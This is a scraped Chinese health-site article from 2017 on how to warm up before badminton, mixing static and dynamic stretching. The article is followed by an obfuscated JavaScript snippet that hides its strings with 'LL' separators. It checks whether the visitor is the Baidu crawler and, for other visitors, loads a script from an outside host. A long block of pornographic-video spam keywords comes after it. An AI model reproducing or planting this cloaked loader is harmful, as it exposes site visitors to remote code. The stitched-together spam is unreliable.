當前位置:首頁 > 健康 > 運動健身 > 正文

羽毛球運動熱身步驟

2017-04-16 11:21:42  來源:360常識網   熱度:
導語:羽毛球是比較常見的一種體育運動項目,它可以幫助你全身的運動,達到最理想的運動目的,但是羽毛球運動之前的熱身工作不可缺少,在打羽毛球

羽毛球是比較常見的一種體育運動項目,它可以幫助你全身的運動,達到最理想的運動目的,但是羽毛球運動之前的熱身工作不可缺少,在打羽毛球之前你必須了解一下,如何進行最健康有效的熱身運動,下面就為大家詳細分析介紹一下,羽毛球運動的熱身方法,打羽毛球之前要注意了。

步驟/方法

賽前準備活動的主要任務,就是要讓肌肉的運動方式和比賽中的運動方式一致起來。簡單說,就是模仿一些打球過程中要做的動作,包括彎(轉)腰、壓腿、向前跨步、側身引臂拉拍、高抬腿走、和側身雙腿交叉走步什么的。切記,做這些活動時,要避免把肌肉拉伸到極限。

怎樣做羽毛球前的熱身運動

當然,我們建議大家在打完球之后做靜態伸展活動,并不是要抹煞它在賽前的重要性。下面,我們把動靜結合起來,幫你在比賽中減輕壓力,盡快進入狀態,獲得持久的柔韌性與力量。

怎樣做羽毛球前的熱身運動

熱身運動最好提前25-30分鐘進行,在5-10分鐘的靜態拉伸練習后,進行10-20分鐘動態熱身練習,此時比賽的效果理論上是最好的;當然必要時也可以縮短熱身時間,但靜態拉伸練習應該放在動態熱身練習之前,所花時間比例大約為1:2。

怎樣做羽毛球前的熱身運動

事實上不僅僅是打羽毛球需要注意了解,這些熱身方法,不管是做什么運動,或者打什么球類之前,這些熱身運動都是很重要的,因為可以預防你在運動過程當中出現抽筋,或者是其他扭傷等問題,所以每個人在運動打球之前,都應該了解這些技巧及常識。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国自产精品手机在线视频香蕉| 亚洲av永久无码精品漫画| 久久精品aⅴ无码中文字字幕重口 久久精品a亚洲国产v高清不卡 | 中文字幕精品无码亚洲字| 精品一卡2卡三卡4卡乱码精品视频| 骚包在线精品国产美女| 国产精品嫩草影院在线播放| 91久久亚洲国产成人精品性色| 精品久久久久久国产免费了| 无码国产精品久久一区免费| 少妇精品无码一区二区三区| 国产精品第一页在线| 精品剧情v国产在线麻豆| 51精品国产人成在线观看| 7777久久久国产精品消防器材| 国产精品久久久久久久久电影网| 国产cosplay精品视频| 久久国产精品久久精| aaaaaa精品视频在线观看| 尤物精品视频一区二区三区| 91嫩草亚洲精品| 久久久久久久国产精品电影 | 国产91精品黄网在线观看| 亚洲av午夜国产精品无码中文字| 99久久综合精品国产| 国产精品无码成人午夜电影| 久99精品视频在线观看婷亚洲片国产一区一级在线 | 国内精品伊人久久久久777| 亚洲国产综合精品一区在线播放 | 久久丫精品久久丫| 久久久久九国产精品| 精品国内自产拍在线视频| 国内精品视频一区二区三区八戒 | 99国产精品免费视频观看| 国内精品在线视频| 久久久久人妻一区精品| 精品无码成人片一区二区| 国产精品视频1区| 色妞WWW精品免费视频| 亚洲国产高清国产拍精品| 2017国产精品自拍|